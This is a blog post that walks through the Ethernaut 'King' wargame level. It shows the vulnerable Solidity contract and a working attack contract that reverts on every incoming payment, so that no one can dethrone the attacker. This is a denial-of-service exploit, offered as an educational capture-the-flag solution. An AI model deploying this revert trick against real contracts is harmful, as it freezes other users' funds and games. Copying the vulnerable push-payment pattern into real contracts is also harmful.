// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
The ponzi starts with 0.001 ether. We can exploit the game by giving an greater or equal ether, but via a contract that disallows receiving ether. This way, if someone is eligible to be the new king, the transaction will fail when it tries to send us the prize!
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract OneWayForward {
receive () external payable {
revert("Im the king!");
}
fallback () external payable {
revert("Im the king!");
}
function forward(address payable _to) public payable {
(bool sent, ) = _to.call{value: msg.value}("");
require(sent, "forwarded call failed");
}
}
The contract is simple: a forward function forwards our sent money to some address. The recieving address will know the contract as msg.sender
, however they won't be able to send money back. Preventing to recieving money can be done by not implementing receive
and fallback
functions. In my case, I wanted to be a little bit cheeky and I implement them but inside revert with "Im the king!" message when they send me money ;)
A note on Call vs. Transfer: We used _to.call{value: msg.value}("")
instead of _to.transfer(msg.value)
. This is because transfer
sends 2300 gas to the receiver, but that gas may not always be enough for the code to run on their side; so we must forward all our gas to them with call
.
Top comments (0)